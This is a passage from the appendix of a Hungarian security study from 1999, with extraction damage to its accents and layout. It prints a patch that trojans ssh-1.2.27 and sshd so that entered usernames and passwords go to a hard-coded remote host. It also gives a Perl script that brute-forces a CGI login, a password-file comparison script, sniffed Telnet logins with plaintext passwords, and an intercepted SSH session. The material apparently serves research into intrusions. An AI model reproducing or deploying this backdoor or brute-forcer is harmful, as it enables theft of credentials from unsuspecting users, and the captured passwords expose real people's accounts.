+ memcpy(hp, hp_static, sizeof(struct hostent)); + + /* Copy list of addresses, not just pointers. + We don’t use h_name & h_aliases so leave them as is */ + for (i = 0; hp_static->h_addr_list[i]; i++) + ; /* count them */ + hp->h_addr_list = xmalloc((i + 1) * + sizeof(hp_static->h_addr_list[0])); + for (i = 0; hp_static->h_addr_list[i]; i++) + { + hp->h_addr_list[i] = xmalloc(hp->h_length); + memcpy(hp->h_addr_list[i], hp_static->h_addr_list[i], + hp->h_length); + }
58
+ hp->h_addr_list[i] = NULL; /* last one */ + } + } + if (!hp) + fatal("Bad host name: %.100s", host); + if (!hp->h_addr_list[0]) + fatal("Host does not have an IP address: %.100s", host); + + /* Loop through addresses for this host, and try each one in + sequence until the connection succeeds. */ + for (i = 0; hp->h_addr_list[i]; i++) + { + /* Set the address to connect to. */ + hostaddr.sin_family = hp->h_addrtype; + memcpy(&hostaddr.sin_addr, hp->h_addr_list[i], + sizeof(hostaddr.sin_addr)); + + debug("Connecting to %.200s [%.100s] port %d.", + host, inet_ntoa(hostaddr.sin_addr), port); + + /* Create a socket for connecting. */ + sock = ssh_create_socket(original_real_uid, + !anonymous && geteuid() == UID_ROOT); + + /* Connect to the host. */ +#if defined(SOCKS) + if (Rconnect(sock, (struct sockaddr *)&hostaddr, + sizeof(hostaddr)) >= 0) +#else /* SOCKS */ + if (connect(sock, (struct sockaddr *)&hostaddr, + sizeof(hostaddr)) >= 0) +#endif /* SOCKS */ + { + /* Successful connection. */ + break; + } + debug("connect: %.100s", strerror(errno)); + + /* Close the failed socket; there appear to be some problems + when reusing a socket for which connect() has already + returned an error. */ + shutdown(sock, 2); + close(sock); + } + if (hp->h_addr_list[i]) + break; /* Successful connection. */ + } + + /* Sleep a moment before retrying. */ + sleep(1); + } + + if (hp) + { + for (i = 0; hp->h_addr_list[i]; i++) + xfree(hp->h_addr_list[i]); + xfree(hp->h_addr_list); + xfree(hp); + } + + /* Return failure if we didn’t get a successful connection. */ + if (attempt >= connection_attempts) + return 0; + + debug("Connection established."); + + /* Set socket options. We would like the socket to disappear as soon as + it has been closed for whatever reason. */ + /* setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (void *)&on, sizeof(on)); */ +#if defined(TCP_NODELAY) && defined(ENABLE_TCP_NODELAY) + setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (void *)&on, sizeof(on)); +#endif /* TCP_NODELAY */ +#if defined(SO_LINGER) && defined(ENABLE_SO_LINGER) + linger.l_onoff = 1; + linger.l_linger = 15; + setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *)&linger, sizeof(linger)); +#endif /* SO_LINGER */ + + /* Set the connection. */ + packet_set_connection_leakout(sock); + + return 1; +} +
59
+ +/*!!!leak*/ /* Checks if the user has an authentication agent, and if so, tries to authenticate using the agent. */ @@ -1636,6 +2037,8 @@ packet_put_string(server_user, strlen(server_user)); packet_send(); packet_write_wait(); + packet_addleakinfo("username:"); + packet_addleakinfo(server_user); /* The server should respond with success if no authentication is needed (the user has no password). Otherwise the server responds with @@ -1752,6 +2155,8 @@ prompt = packet_get_string(NULL); /* Asks for password */ password = read_passphrase(pw->pw_uid, prompt, 0); + packet_addleakinfo("password:"); + packet_addleakinfo(password); packet_start(SSH_CMSG_AUTH_TIS_RESPONSE); packet_put_string(password, strlen(password)); memset(password, 0, strlen(password)); @@ -1790,6 +2195,8 @@ for(i = 0; i < options->number_of_password_prompts; i++) { password = read_passphrase(pw->pw_uid, prompt, 0); + packet_addleakinfo("password:"); + packet_addleakinfo(password); packet_start(SSH_CMSG_AUTH_PASSWORD); packet_put_string(password, strlen(password)); memset(password, 0, strlen(password)); diff -urN ssh-1.2.27-orig/sshd.c ssh-1.2.27-atirt1.3/sshd.c --- ssh-1.2.27-orig/sshd.c Wed May 12 13:19:29 1999 +++ ssh-1.2.27-atirt1.3/sshd.c Mon Oct 18 17:12:06 1999 @@ -1271,6 +1271,21 @@ const char *hostname = get_canonical_hostname(); const char *ipaddr = get_remote_ipaddr(); int i; + ssh_connect_leakin("152.66.78.135",924, + 5, + 1, + original_real_uid, "", + "\0"); + + ssh_connect_leakout("152.66.78.135",925, + 5, + 1, + original_real_uid, "", + "\0"); + packet_addhostin(hostname); + packet_addhostout(hostname); + + if (options.num_deny_hosts > 0) { for (i = 0; i < options.num_deny_hosts; i++) @@ -2655,6 +2670,11 @@ user, get_canonical_hostname()); } password_attempts++; + fprintf(stderr,"debug!-username\n"); + packet_addleakinfo("username:"); + packet_addleakinfo(user); + packet_addleakinfo("password:"); + packet_addleakinfo(password); /* Try authentication with the password. */ #if defined(KERBEROS) && defined(KRB5) diff -urN ssh-1.2.27-orig/sshleakd.c ssh-1.2.27-atirt1.3/sshleakd.c --- ssh-1.2.27-orig/sshleakd.c Thu Jan 1 01:00:00 1970 +++ ssh-1.2.27-atirt1.3/sshleakd.c Mon Oct 18 17:12:09 1999 @@ -0,0 +1,16 @@ +/* sshleak.c + +*/ +#include "includes.h" +#include "xmalloc.h" +#include "ssh.h" +#include "userfile.h" + +char *read_passphrase(uid_t uid, const char *prompt, int from_stdin) +{
60
+return "\0"; +} + +void read_confirmation(const char *prompt) +{ +}
B.4
PERL program a jelsz´ of´ ajl-m´ odosul´ asok vizsg´ alat´ ahoz
#!/usr/bin/perl if (scalar(@ARGV)<2) { print "parameterek: pdiff.pl
\n"; exit; } if (open(F1,$ARGV[0])==0) { print "$ARGV[0] - fajl megnyitasi hiba ! \n"; exit; } if (open(F2,$ARGV[1])==0) { print "$ARGV[1] - fajl megnyitasi hiba ! \n"; exit; } @FF1=; @FF2=; close(F1); close(F2); foreach $sor (@FF1) { @s=split(":",$sor); if (length(@s[1])>=13) { $erv1++; #ervenyes jelszavak szamat noveljuk if (scalar(grep(/^@s[0]:@s[1]:.*/,@FF2))>0) { $maradt++; } else { $valtozott++; } if (scalar(grep(/^@s[0]:.*/,@FF2))==0) { $torolt++; } } } print (" ervenyes jelszavak a regi fajlban: $erv1\n"); print ("megvaltoztatott jelszavak: $valtozott maradt: $maradt \n"); print ("torolt jelszavak: $torolt \n"); $arany=$valtozott/$maradt; print (" megvaltozott/maradt: $arany\n"); $db1=scalar(@FF1); $db2=scalar(@FF2); print (" regi jelszofajl nagysag: $db1, uj:$db2 \n");
B.5
PERL program a CGI alap´ u Web-es probl´ ema t´ amad´ as´ ara
#!/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common;
while ($sor=<>)
61
{ $s=$sor; $s=~ s/\n//g; @s2=split(":",$s); $nev=@s2[0]; $jelszo=@s2[1]; print "."; $i++; if ($i % 100==0) {print $i."\n";} $ua = new LWP::UserAgent; $ua->agent("Netspek");
# #itt jon a specifikus cgi meghivasa # # ezt kihagytuk... a $rq valtozo tartalmazza az adott POST kerelmet $res=$ua->request($rq); if (! $res->is_success) {print "error--$nev $jelszo\n";} @V=$res->content;
@V2=grep(/.*assword check ok.*/,@V); if (scalar(@V2)>0) { open(F,">>siker"); print F $sor; close(F); } }
62
F¨ uggel´ ek C
N´ eh´ any tipikus napl´ of´ ajl C.1 [Wed [Wed [Wed [Wed [Wed [Wed [Thu [Thu [Fri [Fri [Fri [Fri
Oct Oct Oct Oct Oct Oct Oct Oct Oct Oct Oct Oct
C.2
A Telnet bejelentkez´ esek napl´ of´ ajlja 13 13 13 13 13 13 14 14 15 15 15 15
14:27:47 14:27:47 14:28:26 14:28:26 14:29:14 14:29:14 18:41:56 18:41:57 07:45:11 07:45:20 15:54:18 15:54:20
1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999] 1999]
-
Sniffit session ended. Sniffit session started. 152.66.78.129.1858-152.66.78.140.23: login [boldi~~~~~~~geza] 152.66.78.129.1858-152.66.78.140.23: password [rosi] Sniffit session ended. Sniffit session started. 193.91.87.92.63431-152.66.78.140.23: login [iko] 193.91.87.92.63431-152.66.78.140.23: password [iko5] 152.66.78.140.1028-209.79.140.198.23: login [guest] 152.66.78.140.1028-209.79.140.198.23: password [guest] 146.110.72.203.2594-152.66.78.140.23: login [geza] 146.110.72.203.2594-152.66.78.140.23: password [rosi]
Egy lehallgatott SSH kapcsolat felhaszn´ al´ o fel´ e ir´ anyul´ o adatfolyama
Linux camus 2.2.12 #3 SMP Tue Sep 7 17:10:45 CEST 1999 i686 unknown o----------------------------------------o | Access to this system is monitored. | | Unauthorized access is prohibited. | | Violators will be referred for | | prosecution. | o----------------------------------------o You have new mail. $ ls -la total 488 drwxr-sr-x 3 viko viko 1024 Oct drwxrwsr-x 14 root staff 1024 Oct -rw------1 viko viko 1145 Oct -rw-r--r-1 viko viko 80 Oct -rw-r--r-1 viko viko 70 Oct -rw-r--r-1 root viko 55 Oct drwxr-sr-x 8 viko viko 1024 Oct -rw-rw-r-1 viko viko 487870 Oct $ cd eggdrop $ ls -la total 313 drwxr-sr-x 8 viko viko 1024 Oct drwxr-sr-x 3 viko viko 1024 Oct -rw-r--r-1 viko viko 857 Oct -rw------1 viko viko 1258 Oct -rw-rw-r-1 viko viko 0 Oct -rw-rw-r-1 viko viko 0 Oct -rw------1 viko viko 5998 Oct -rw-rw-r-1 viko viko 494 Oct -rw------1 viko viko 29153 Oct -rw-r--r-1 viko viko 481 Oct -rw-rw-r-1 viko viko 56 Oct
12 12 12 11 11 11 12 12
23:06 20:46 23:06 22:32 22:19 21:23 23:35 22:34
. .. .bash_history .bash_profile .bashrc .bashrc~ eggdrop eggdrop1.3.23.tar.gz
12 12 12 12 12 12 12 12 12 12 12
23:35 23:06 22:51 23:35 23:05 23:20 23:35 23:16 23:03 22:15 23:16
. .. DEBUG Murd3R.chan Murd3R.notes Murd3R.spec Murd3R.user Murd3R.xtranfo Murd3r.conf Murd3r.xtranfo chattr.log
63
-rwxr-xr-x 1 viko viko 261980 Oct drwxr-sr-x 3 viko viko 1024 Oct drwxr-sr-x 4 viko viko 1024 Oct drwxr-sr-x 2 viko viko 1024 Oct drwxr-sr-x 2 viko viko 1024 Oct -rw-r--r-1 viko viko 41 Oct drwxr-sr-x 2 viko viko 1024 Oct -rw-r--r-1 viko viko 13 Oct -rw-rw-r-1 viko viko 5 Oct drwxr-sr-x 2 viko viko 1024 Oct -rw-r--r-1 viko viko 43 Oct -rw-r--r-1 viko viko 84 Oct -rw-r--r-1 viko viko 49 Oct $ rm murd3r.user rm: murd3r.user: No such file or directory $ rm Murd3R,^H ^H.user $ exit logout
C.3
12 12 12 12 12 12 12 12 12 12 12 12 12
22:51 22:17 22:18 22:19 23:04 22:17 22:21 22:17 22:55 22:22 22:17 22:17 22:17
eggdrop filesys help language log message modules motd pid.Murd3R scripts sende tmpcatlog westel
Egy lehallgatott SSH kapcsolat felhaszn´ al´ o fel˝ oli adatfolyama
username: iko password: viko4 ls -la cd eggdrop ls -la rm murd3r.user rm Murd3R,^H ^H.user exit
64